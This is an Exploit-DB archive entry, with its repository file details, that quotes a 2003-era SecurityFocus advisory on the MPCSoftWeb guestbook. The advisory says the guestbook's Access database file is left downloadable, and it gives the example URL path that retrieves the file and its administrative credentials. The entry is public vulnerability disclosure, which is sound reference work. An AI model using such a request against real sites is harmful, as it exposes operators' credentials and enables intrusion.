exploit-db-mirror/platforms/asp/webapps/22513.txt
Offensive Security 5e2fc10125 DB: 2016-09-03
2016-09-03 13:13:25 +00:00

5 lines
No EOL
355 B
Text
Executable file

source: http://www.securityfocus.com/bid/7390/info
MPCSoftWeb does not sufficiently secure the database file. It is possible for remote attackers to request the database file and gain access to sensitive information such as administrative credentials for the guestbook.
http://www.example.com/mpcsoftweb_guestbook/database/mpcsoftweb_guestdata.mdb